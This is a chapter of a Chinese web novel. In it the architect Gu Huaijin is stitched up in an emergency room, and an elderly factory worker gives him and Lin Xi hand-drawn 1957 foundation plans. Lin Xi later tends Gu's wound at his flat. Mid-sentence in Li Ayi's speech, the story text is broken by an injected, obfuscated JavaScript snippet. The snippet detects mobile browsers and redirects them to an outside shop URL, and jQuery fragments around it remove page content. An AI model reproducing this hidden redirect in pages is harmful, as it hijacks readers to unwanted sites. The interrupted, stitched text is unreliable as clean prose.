默认冷灰
24号文字
方正启体

13. 急诊室的光

作者:小周的开心被偷走了本书字数:K更新时间:
    急诊室的灯光白得刺眼,像手术刀一样剖开所有细节。


    林溪坐在走廊塑料椅上,手上还沾着顾怀瑾的血——已经干涸成暗红色的斑块,指纹的纹路里嵌着细小的血痂。他盯着自己的手看了很久,直到护士的声音把他拽回现实:


    “患者家属?进来帮个忙。”


    他愣了一秒才反应过来“家属”是在叫自己。起身时腿有些发麻,踉跄了一下。


    处置室里,顾怀瑾侧坐在诊床上,裸着上半身。肩后侧的伤口暴露在灯光下——比林溪想象的更深。木刺留下的创口呈不规则的星形,边缘皮肉外翻,虽然已经止血,但深色的血污和沾染的灰尘让伤口看起来触目惊心。


    “需要清创缝合。”医生戴上手套,“局部麻醉,但清创时可能还是会疼。”


    “直接缝。”顾怀瑾的声音平静,仿佛在讨论别人的伤口。


    医生看了他一眼:“可能会很疼。”


    “没关系。”


    林溪站在一旁,看着医生用镊子夹起沾满碘伏的棉球,开始清理伤口周围的污物。棉球擦过皮肤时,顾怀瑾的肩胛骨轻微地收缩了一下——那是肌肉本能的反应,但他没有发出任何声音。


    清创到伤口深处时,医生用生理盐水冲洗。水流冲开血污,露出更深层的组织。林溪看见顾怀瑾放在膝盖上的手,指关节因为用力而发白。


    “需要帮忙吗?”医生看向林溪,“扶着他的肩膀,别让他动。”


    林溪走过去,手按在顾怀瑾未受伤的左肩上。皮肤温热,肌肉紧绷得像石头。他能感受到那具身体里压抑着的颤抖。


    缝针开始了。


    针尖刺入皮肉的瞬间,顾怀瑾的身体猛地一僵。林溪的手下意识收紧。


    “放松。”顾怀瑾低声说,不知是对医生说,还是对自己说。


    针线穿过皮肉的声音很轻微,但在安静的处置室里清晰可闻。每缝一针,顾怀瑾的呼吸就屏住一次,然后缓缓吐出。额头上渗出细密的冷汗,沿着太阳穴滑落。


    林溪看着他后颈的线条,看着那些汗水如何沿着脊椎的凹陷流淌。他突然想起屋顶崩塌时,顾怀瑾扑向他的那个瞬间——没有丝毫犹豫,像某种本能。


    缝到第七针时,顾怀瑾忽然开口:“十年前,我也被这样缝过。”


    医生手上动作没停:“也是工伤?”


    “嗯。”顾怀瑾盯着对面墙上的急救流程图,“在印度。一个贫民窟改造项目,临时结构塌了。”


    他的声音很平稳,仿佛在讲述别人的故事:“一根钢筋扎进这里——”他指了指左侧肋下,“比这个深。当地的诊所没有麻药,医生直接缝。”


    林溪的手还按在他肩上,能感受到说话时胸腔的震动。


    “那时候我在想什么?”顾怀瑾顿了顿,“我在想,如果死在那儿,我的设计是不是就没人继续了。”


    针线继续穿梭。


    “后来呢?”林溪问。


    “后来没死。”顾怀瑾说,“但那个项目黄了。因为事故,也因为很多其他原因。那是我第一次真正意义上的失败。”


    最后一针缝完,医生打结,剪断缝线。创口变成了一道整齐的、由黑色线条缝合的痕迹。


    “两周拆线。不能沾水,不能提重物,定期换药。”医生交代注意事项,“打破伤风针了吗?”


    “还没。”


    护士拿来针剂。针头扎进上臂三角肌时,顾怀瑾连眼睛都没眨一下。


    处理完所有流程,已经是傍晚。两人走出医院时,夕阳把街道染成橘红色。


    顾怀瑾换上了医院提供的病号服——他自己的衬衫已经毁了。浅蓝色的条纹布料让他看起来比平时柔和,但也更疲惫。


    “打车回去吧。”林溪说。


    “先回事务所。”顾怀瑾看了眼时间,“李阿姨说找到了当年的结构图纸,约了六点送来。”


    “可是你的伤——”


    “伤的是肩膀,不是脑子。”顾怀瑾已经伸手拦车,“而且,有些事不能等。”


    出租车里,两人并排坐在后座。窗外是流动的街景,霓虹灯渐次亮起。


    “顾总。”林溪看着窗外,“今天……谢谢你。”


    “职责所在。”顾怀瑾闭着眼睛,靠在座椅上。


    “不是作为上司的职责。”林溪转回头,“是作为……人的。”


    顾怀瑾睁开眼睛,侧过头看他。夕阳的余晖从车窗斜射进来,在他脸上投下半明半暗的光影。


    “林溪。”他说,“如果今天在屋顶上的是任何一个人,我都会做同样的事。”


    “我知道。”


    “但你知道为什么吗?”


    林溪摇头。


    “因为建筑师的命,不是只属于自己的。”顾怀瑾的声音很轻,“你画的每一条线,设计的每一个空间,都承诺了要保护使用它的人。如果你自己都不珍惜这份责任,凭什么让别人相信你?”


    出租车转过街角,事务所的大楼出现在前方。


    “所以,”顾怀瑾最后说,“我保护的不是你,是我们共同相信的东西。”


    车停了。林溪先下车,绕到另一侧为顾怀瑾开门。这个动作有些多余——顾怀瑾的伤还没到需要搀扶的程度——但顾怀瑾没有拒绝。


    走进事务所大堂时,前台姑娘瞪大了眼睛:“顾总,您这是……”


    “工伤。”顾怀瑾言简意赅,“李阿姨来了吗?”


    “在会客室等您。”


    会客室里,李阿姨坐得笔直。她面前放着一个用蓝布包裹的长条状物品。看见顾怀瑾身上的病号服和肩上的绷带,她猛地站起来:


    “顾总,您这是——”


    “小意外。”顾怀瑾示意她坐下,“您找到了图纸?”


    李阿姨深吸一口气,郑重地解开蓝布。


    里面不是一张图纸,而是一卷。纸页已经泛黄发脆,边缘有虫蛀的痕迹。她小心翼翼地展开其中一张——是厂房的基础结构图,手绘,线条精准得像是印刷的。


    “这是赵秀英师傅的遗物。”李阿姨的手有些颤抖,“她去世前交给我,说‘哪天厂子要动了,这个用得上’。”


    图纸上标注的日期是1957年。比厂房建成还早一年。


    顾怀瑾俯身细看。即使有伤在身,他的专业本能依然敏锐:“这是……原始地基勘测图?”


    “对。”李阿姨指着图纸上的标注,“当年这里有条暗河,地基是特别处理的。秀英师傅参与了施工,她说‘地下的东西比地上的重要’。”


    林溪也凑过去看。图纸上的标注是繁体字,墨迹已经晕开,但依然能辨认:


    “基深三米,卵石夯填,暗河改道,排水渠在此。”


    旁边还有手写的注释:“1958年春汛,此处渗水,加固。”


    “暗河?”林溪想起屋顶崩塌时的异常,“所以地基可能有问题?”


    “不是可能。”顾怀瑾的手指划过图纸上的某条线,“是一定。”


    他抬头看向李阿姨:“这些图纸,能借我们复印吗?”


    “不用借。”李阿姨把整卷图纸推过来,“送给你们。秀英师傅说了,图纸要在用得着的人手里,才有魂。”


    蓝布包裹被轻轻推到顾怀瑾面前。布料粗糙的质感,包裹着一段几乎被遗忘的历史。


    “另外……”李阿姨犹豫了一下,“今天的事故,厂里的老伙计们都听说了。他们让我带句话。”


    顾怀瑾等待她说下去。


    “他们说——”李阿姨的眼圈有点红,“房子可以倒,但建房子的人不能有事。顾总,林工,谢谢你们还想着救那个


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193485|197102||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    老厂房。”


    她站起来,深深鞠了一躬。


    顾怀瑾和林溪同时起身。顾怀瑾因为动作牵动伤口,脸色白了一下,但还是稳稳站住了。


    “应该的。”他说。


    送走李阿姨,会议室里只剩下他们两人。那卷图纸摊在长桌上,像一本打开的历史书。


    顾怀瑾用未受伤的手翻阅图纸,动作很慢,很仔细。灯光下,他的侧脸线条紧绷,但眼神专注得仿佛忘记了疼痛。


    “看出什么了?”林溪问。


    “看出我们之前的方案全错了。”顾怀瑾抽出一张地基详图,“暗河虽然改道,但地下水系还在。这些年地基沉降不均匀,导致上部结构长期处于应力异常状态。屋顶木梁的腐朽,只是表象。”


    他抬头看向林溪:“要救这栋房子,得从根上救。”


    “怎么做?”


    “重新加固地基,重建排水系统,然后——”顾怀瑾的手指敲在屋顶结构图上,“用钢木混合结构替换已经完全腐朽的部分。保留还能用的旧木料,新旧结合。”


    林溪看着图纸上那些精密的标注。1957年的工程师,用最朴素的方法解决了复杂的地质问题。而六十五年后的今天,他们需要用自己的方式,延续这种智慧。


    “会很贵。”他说出事实。


    “会很贵。”顾怀瑾承认,“但值得。”


    “业主会同意吗?”


    “那就看我们怎么说服他们。”顾怀瑾合上图纸,“用专业,用数据,也用今天流的血。”


    他站起来,因为失血和疼痛,身体晃了一下。林溪立刻扶住他。


    “我送您回家休息。”


    这次顾怀瑾没有拒绝。


    夜色已深。林溪开车送顾怀瑾回公寓——他第一次知道顾怀瑾住在哪里。一个高端小区,但装修极其简单,几乎没有任何装饰。书架上全是专业书籍和项目模型,客厅里最显眼的是一张巨大的工作台。


    “医药箱在电视柜下面。”顾怀瑾坐在沙发上,“麻烦帮我换下药。”


    林溪找到医药箱,按照医院教的步骤,小心地拆开绷带。伤口在灯光下依然触目惊心,但缝线整齐,没有感染迹象。


    他用棉签蘸着碘伏消毒,动作尽量轻缓。棉签擦过伤口边缘时,顾怀瑾的肌肉条件反射地收缩。


    “疼就说。”林溪低声说。


    “不疼。”顾怀瑾闭着眼睛。


    换好药,重新包扎。林溪收拾医药箱时,看见顾怀瑾已经靠在沙发背上,呼吸均匀——他睡着了。


    脸色依然苍白,睫毛在眼下投出淡淡的阴影。这个总是强大、冷静、无懈可击的男人,此刻看起来异常疲惫,也异常真实。


    林溪从卧室拿了条毯子,轻轻盖在他身上。准备离开时,目光被工作台上的一样东西吸引。


    那是一张装在相框里的照片。年轻的顾怀瑾——大概二十五六岁——站在一栋未完成的建筑前,身边站着一个白发老人。两人都在笑,那种毫无保留的、纯粹的笑容。


    照片背景是印度的贫民窟,但阳光很好。


    林溪静静看了几秒,然后关掉客厅的主灯,只留下一盏落地灯。


    暖黄的光晕里,顾怀瑾睡在沙发上,肩上的绷带在光线下泛着柔和的白色。


    那些图纸摊开在茶几上,1957年的墨迹与2023年的灯光,在这一刻相遇。


    林溪轻轻关上门,离开了。


    但有些画面留在了心里:急诊室缝针时的冷汗,李阿姨鞠躬时的眼泪,图纸上晕开的墨迹,还有此刻睡在灯光下的、终于显露出脆弱一面的导师。


    他站在公寓楼下,抬头看向那个亮着落地灯的窗口。


    夜空中有零星的星,很淡,但执着地亮着。


    像某种启示,也像某种承诺。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)